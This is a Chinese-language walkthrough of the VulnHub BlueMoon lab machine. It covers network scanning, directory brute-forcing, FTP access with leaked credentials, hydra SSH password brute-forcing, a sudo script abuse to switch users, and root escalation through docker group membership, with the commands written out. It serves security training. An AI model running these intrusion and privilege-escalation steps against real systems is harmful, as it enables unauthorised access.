VulnHub:BlueMoon
准备工作
靶机下载地址,下载完成后使用virtualbox打开虚拟机,网络设置修改为桥接。
信息收集
主机发现
攻击机ip:192.168.31.218,nmap扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4

目标靶机ip为:192.168.31.228
端口扫描
nmap 192.168.31.228 -A -p- -T4

目标靶机开放了21,22,80端口。
-
21端口ftp服务,vsftpd 3.0.3
-
22端口ssh服务,OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
-
80端口http服务,Apache httpd 2.4.38
web站点信息收集
访问http服务,首页如下:

没什么信息,目录扫描dirsearch -u http://192.168.31.228,没信息,换个字典。
dirsearch -u http://192.168.31.228 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
找到一个隐蔽的目录hidden_text。访问结果如图:

Thank You指向另一个路径,访问得到一个二维码。

扫描内容如下:
#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF
渗透
FTP登录
根据web信息收集中二维码扫描内容,可知涉及FTP的简单的shell脚本的使用,ftp用户名是userftp,密码是ftpp@ssword,直接登录即可。这里我写的shell脚本,来显示文件列表(纯纯试一下ftp的简单shell脚本如何使用,都给出了用户名和密码直接登录即可,最终目的就是拿到ftp服务器中的两个文件)
#!/bin/bash
ftp -inv 192.168.31.228 << EOF # EOF是一个分界标志
user userftp ftpp@ssword
binary # 设定传输方式为二进制方式
pwd # 查看FTP服务器上的当前工作目录
ls # 显示文件列表
bye # 推出ftp会话
EOF
执行shell脚本得到ftp当前工作目录,和文件列表。

修改一下shell脚本,下载FTP服务器上的文件。
#!/bin/bash
ftp -inv 192.168.31.228 << EOF # EOF是一个分界标志
user userftp ftpp@ssword
binary
get information.txt
get p_lists.txt
bye
EOF

执行脚本得到一个字典文件p_lists.txt和information.txt,information.txt内容如下:
Hello robin ...! I'm Already Told You About Your Password Weekness. I will give a Password list. you May Choose Anyone of The Password.
存在一个用户robin,并给出了密码字典,爆破吧。
ssh爆破
给出了用户名和字典,hydra爆破ssh。
hydra -l robin -P p_lists.txt ssh://192.168.31.228

得到密码:k4rv3ndh4nh4ck3r。
ssh登录过程中有点小问题,提示WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! ,解决方法如下:
ssh-keygen -R 192.168.31.228
之后正常登录即可。

get user1.txt!

接下来找到了user2.txt,但是仅jerry才有读权。

提权
sudo提权
sudo提权,sudo -l,发现可以通过/home/robin/project/feedback.sh提权到jerry。

feedback.sh当前仅有rx权限,放弃写入反弹shell的方法,直接执行,提示需要输入名字和目标机器。
sudo -u jerry ./feedback.shEnter Your Name:随便填一个
Enter You FeedBack About This Target Machine:/bin/bash
成功切换到jerry,注意到jerry用户加入了docker用户组。

获得一个交互式shell。
python3 -c 'import pty;pty.spawn("/bin/bash")'
get user2.txt!

docker容器提权
当前jerry用户是普通用户,且加入了docker组。有一个提权方式——普通用户利用docker容器提权。
补充:为什么能利用docker容器提权?因为用户创建一个docker容器后,容器内默认是root账户,会自动在命令前添加sudo。一个普通用户只要加入docker组就等同于root。
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
提权成功。

get root.txt!🎆

相关文章:
VulnHub:BlueMoon
准备工作 靶机下载地址,下载完成后使用virtualbox打开虚拟机,网络设置修改为桥接。 信息收集 主机发现 攻击机ip:192.168.31.218,nmap扫描攻击机同网段存活主机。 nmap 192.168.31.0/24 -Pn -T4 目标靶机ip为:192…...
处理filter里抛出的异常
Filter 的异常是在 org.apache.catalina.core.ApplicationFilterChain.internalDoFilter()这里扔出来的。Filter是tomcat负责调用执行的,所以会比 servlet(尤其是SpringMVC 的dispatcherServlet )先执行,所以 Filter 里的错误&…...
IndexedDB深度解析:JavaScript的客户端数据库
IndexedDB是一个在用户浏览器中运行的低等级API,用于存储大量结构化数据。作为NoSQL数据库,IndexedDB为Web应用程序提供了丰富的数据存储能力,支持键值对存储、索引、事务和复杂查询等功能。本文将详细介绍IndexedDB的基本概念、工作原理、使…...
C语言中的函数指针和返回值为数组的函数指针对比
函数指针 //定义一个函数指针,函数的参数是int型,返回值为int typedef int (*func)(int);//定义一个函数指针,函数的参数是int*型,返回值为int* typedef int* (*func)(int *);定义一个返回值为数组指针的函数 //定义…...
根据字符串的长度和字符值的大小来对字符串切片进行排序
在 Go 语言中,根据字符串的长度和字符值的大小来对字符串切片进行排序。示例如下: package mainimport ("fmt""sort" )// 自定义类型,以实现排序接口 type byLengthAndValue []string// 实现 sort.Interface 的 Len 方法 func (s b…...
RabbitMQ 的工作原理
下面是rabbitmq 的工作原理图解 1、客户端连接到消息队列服务器,打开一个channel。 2、客户端声明一个exchange,并设置相关属性。 3、客户端声明一个queue,并设置相关属性。 4、客户端使用routing key, 在exchange和queue 之间…...
WPF 资源、引用命名空间格式、FrameworkElement、Binding、数据绑定
资源 对象级别独立文件 静态资源使用(StaticResource)指的是在程序载入内存时对资源的一次性使用,之后就不再去访问这个资源了。 动态资源使用(DynamicResource)使用指的是在程序运行过程中仍然会去访问资源。 显然,如果你确定…...
vue3-03-创建响应式数据的几种方法
响应式数据 一、 ref 创建:响应式数据1)ref 创建:基本类型的响应式数据2)ref 创建:对象类型的响应式数据3)volar 插件自动添加 .value4)customRef 自定义 ref 二、 reactive 创建:响…...
stm32智能颜色送餐小车(openmv二维码识别+颜色识别+oled显示)
大家好啊,我是情谊,今天我们来介绍一下我最近设计的stm32产品,我们在今年七月份的时候参加了光电设计大赛,我们小队使用的就是stm32的智能送餐小车,虽然止步于省赛,但是还是一次成长的经验吧,那…...
对接的广告平台越多,APP广告变现的收益越高?
无论是游戏、社交、工具应用类APP还是泛娱乐类APP,流量变现的方式主要有广告、内购、订阅三种方式。其中,广告变现是门槛最低、适用最广的变现方式。 只要APP有流量,就可以进行广告变现,让APP的流量快速转化为商业价值。作为最常…...
LINUX原始机安装JDK
文章目录 下载 JDK压缩包创建jdk文件夹sftp 远程上传解压缩 tar -zxvf 包名配置环境变量刷新 环境变量验证是否安装成功安装JAVA 依赖yum更新及替换镜像curl 命令下载更新更新yum依赖判断repo文件是否存在生成缓存、启用阿里云镜像 重新下载java依赖再次验证hello world 下载 J…...
MR400D工业级带网口4G DTU:RS232/RS485 TO LTE深度测评
在物联网技术日新月异的今天,数据传输的效率和稳定性成为了各行各业关注的焦点。作为一款集先进性与实用性于一身的物联网设备,工业级带网口的4G DTU(数据传输单元)以其强大的功能特性和广泛的应用场景,赢得了市场的广…...
第四范式发布AI+5G视频营销产品 助力精准获客与高效转化
产品上新 Product Release 今天,第四范式AI5G视频电话互动营销产品全新发布。 相较于以往销效率低、互动差、转化差的传统电话外呼和短信营销方式,视频电话互动营销基于AI、5G等技术,可让用户接听电话时观看个性化视频广告并实时互动…...
DVWA-IDS测试(特殊版本)
起因 浏览DVWA历史更新记录发现有版本带有IDS插件,可以用于平时没有相关设备等场景演示用,所以开启本次测试。 下载 官方最新版本是移除了IDS插件,原因是“从不使用”,所以需要下载移除该插件之前的版本。 https://github.com/…...
轻度自闭症的温柔启航:星启帆的康复之旅
在儿童成长的道路上,自闭症作为一种复杂的神经发展障碍,给许多家庭带来了挑战与困扰。轻度自闭症,作为自闭症谱系中的一个类型,其症状表现相对较轻,但同样需要我们的关注与科学的干预。星启帆自闭症儿童康复机构&#…...
一、OpenTK简介
文章目录 一、历史和发展二、功能和优势(一)强大的图形渲染功能(二)跨平台支持(三)与 C# 的紧密集成(四)开源和活跃的社区(五)性能优化三、适用场景(一)游戏开发(二)科学计算可视化(三)虚拟现实和增强现实应用(四)图形用户界面开发(五)教育和培训应用(六)…...
Dom4j详细介绍
Dom4j 1.1 解析概览 将数据存储为XML格式后,程序化地访问这些数据变得至关重要。虽然Java基础的IO操作能够实现这一目标,但这一过程往往既复杂又繁琐,尤其是在处理大型文件或需要频繁读写操作的场景下。为了解决这些问题,开发者…...
thissuper
this&super 一、 this this关键字表示调用的是当前类的成员变量或者成员方法 一般情况下,可以省略this关键字直接调用成员变量以及成员方法但当方法的形参与成员变量同名时,如果要在方法内使用成员变量,必须添加this关键字指明使用的是…...
cv::normalize()
cv::normalize()函数是OpenCV库中用于对矩阵或图像数据进行归一化处理的工具。归一化是图像处理和计算机视觉中常见的预处理步骤,它可以确保数据在一定范围内,从而有助于后续的处理和算法的稳定性和性能。cv::normalize()函数可以将输入矩阵的值缩放到一…...
【Python快速入门和实践016】Python常用脚本-对视频抽取指定帧数并保存
一、功能介绍 这段代码的功能是从一个视频文件中抽取指定数量的帧,并将这些帧保存为图像文件。步骤如下: 设置路径和参数: video_path:视频文件的路径。image_folder:保存抽取图像的目录。num_frames_to_extract&#…...
ESXi 8.0 无法选择分区方式 小白级详细解决办法
本文针对 ESXi 8.0 安装 / 使用中无法选择分区方式、看不到分区选项、分区界面灰掉、提示分区不支持等问题,从根源排查到终极修复,全程纯文字、步骤拆解到最小操作,小白照着做就能解决,无任何表格。一、先明确:什么是 …...
效率革命:80+款Android UI模板的全场景应用指南
效率革命:80款Android UI模板的全场景应用指南 【免费下载链接】Android-ui-templates Download free android app templates free and paid. 项目地址: https://gitcode.com/gh_mirrors/an/Android-ui-templates 在移动应用开发中,界面设计往往占…...
从电赛真题到产品原型:深入解析单相全桥逆变三种SPWM调制策略(含效率与波形对比)
单相全桥逆变SPWM调制策略实战:从电赛到工业应用的深度解析 在电力电子领域,逆变技术作为直流-交流转换的核心环节,其性能优劣直接影响着整个系统的效率与可靠性。单相全桥逆变器凭借其结构简单、控制灵活的特点,成为电子设计竞赛…...
Windows包管理器Winget一键安装完整指南:告别繁琐手动配置
Windows包管理器Winget一键安装完整指南:告别繁琐手动配置 【免费下载链接】winget-install Install winget tool using PowerShell! Prerequisites automatically installed. Works on Windows 10/11 and Server 2022. 项目地址: https://gitcode.com/gh_mirrors…...
从brpc的IOBuf到Protobuf零拷贝:一次网络序列化的‘无缝’对接实战
从brpc的IOBuf到Protobuf零拷贝:一次网络序列化的‘无缝’对接实战 在构建高性能RPC服务时,数据传输效率往往是决定系统吞吐量的关键瓶颈之一。传统序列化过程中频繁的内存拷贝不仅消耗CPU资源,还会增加GC压力,这在处理大附件或复…...
Windows下OpenClaw部署教程:对接GLM-4.7-Flash模型详解
Windows下OpenClaw部署教程:对接GLM-4.7-Flash模型详解 1. 为什么选择OpenClawGLM-4本地组合 去年我在处理日常办公自动化时,发现很多重复性工作既不适合用Python脚本硬编码,又不想把敏感数据传到第三方SaaS平台。直到遇到OpenClaw这个开源…...
智能车竞赛避坑指南:直道、弯道、十字路口图像识别,我的MT9V03X摄像头调试血泪史
智能车竞赛避坑指南:MT9V03X摄像头调试的七个关键陷阱 全国大学生智能汽车竞赛中,图像识别环节往往是决定胜负的关键。作为曾经在赛场上摸爬滚打的参赛者,我深刻理解使用MT9V03X摄像头调试过程中的种种痛苦——那些深夜调试、反复修改参数却…...
Windows右键菜单管理终极指南:3分钟打造高效桌面操作环境
Windows右键菜单管理终极指南:3分钟打造高效桌面操作环境 【免费下载链接】ContextMenuManager 🖱️ 纯粹的Windows右键菜单管理程序 项目地址: https://gitcode.com/gh_mirrors/co/ContextMenuManager 你是否曾因Windows右键菜单过于臃肿而烦恼&…...
为什么你的代码编辑器需要更好的开源字体配置?完整编程字体优化指南
为什么你的代码编辑器需要更好的开源字体配置?完整编程字体优化指南 【免费下载链接】source-code-pro Monospaced font family for user interface and coding environments 项目地址: https://gitcode.com/gh_mirrors/so/source-code-pro 作为一名开发者&a…...
文墨共鸣大模型生成技术教程:以“计算机组成原理”为例的课件与习题制作
文墨共鸣大模型生成技术教程:以“计算机组成原理”为例的课件与习题制作 作为一名在技术领域摸爬滚打了十多年的从业者,我见过太多优秀的工具因为“用起来太麻烦”而被束之高阁。今天,我想和你分享一个让我眼前一亮的“AI助教”——文墨共鸣…...
